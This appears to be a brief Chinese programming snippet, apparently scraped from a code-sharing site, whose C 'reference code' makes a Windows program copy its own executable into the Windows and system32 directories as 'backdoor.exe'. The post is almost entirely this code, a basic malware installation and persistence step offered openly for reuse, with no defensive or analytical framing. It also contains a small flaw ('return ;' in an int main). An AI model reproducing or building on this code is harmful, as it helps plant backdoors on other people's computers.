功能:复制自身到windows目录和system32目录下。

复制自身程序到windows目录和system32目录下-LMLPHP

参考代码:

 #include <stdio.h>
#include <windows.h>
void CopySelf(){
char SelfName[MAX_PATH]={};
char WindowsPath[MAX_PATH]={};
char SystemPath[MAX_PATH]={}; GetModuleFileName(NULL,SelfName,MAX_PATH);
GetWindowsDirectory(WindowsPath,MAX_PATH);
GetSystemDirectory(SystemPath,MAX_PATH); puts("-------------");
puts(SelfName);
puts(WindowsPath);
puts(SystemPath);
puts("-------------"); strcat(WindowsPath,"\\backdoor.exe");
strcat(SystemPath,"\\backdoor.exe"); CopyFile(SelfName,WindowsPath,FALSE);
CopyFile(SelfName,SystemPath,FALSE);
puts("************************");
puts(SelfName);
puts(WindowsPath);
puts(SystemPath);
puts("************************"); }
int main()
{
CopySelf();
return ;
}
05-08 08:06